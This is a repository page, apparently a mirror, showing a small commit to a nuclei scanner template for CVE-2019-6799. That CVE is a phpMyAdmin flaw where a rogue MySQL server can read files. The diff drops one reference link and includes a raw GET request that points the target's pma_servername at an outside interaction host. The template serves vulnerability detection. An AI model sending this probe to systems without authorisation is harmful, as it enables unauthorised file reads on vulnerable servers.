daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2019-6799.yaml

patch-1
QAQ 2023-03-14 21:42:32 +08:00 committed by GitHub
parent 315cc7fba2
commit 1edfdc1b1e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
cves/2019/CVE-2019-6799.yaml
View File

@ -7,7 +7,6 @@ info:
description: An issue was discovered in phpMyAdmin before 4.8.5. When the AllowArbitraryServer configuration setting is set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of "options(MYSQLI_OPT_LOCAL_INFILE" calls. description: An issue was discovered in phpMyAdmin before 4.8.5. When the AllowArbitraryServer configuration setting is set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of "options(MYSQLI_OPT_LOCAL_INFILE" calls.
reference: reference:
- https://paper.seebug.org/1112/#_4 - https://paper.seebug.org/1112/#_4
- https://paper.seebug.org/1112/#cms
- https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2 - https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6799 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6799
- https://nvd.nist.gov/vuln/detail/CVE-2019-6799 - https://nvd.nist.gov/vuln/detail/CVE-2019-6799
@ -22,7 +21,7 @@ info:
requests: requests:
- raw: - raw:
- | - |
GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1 GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}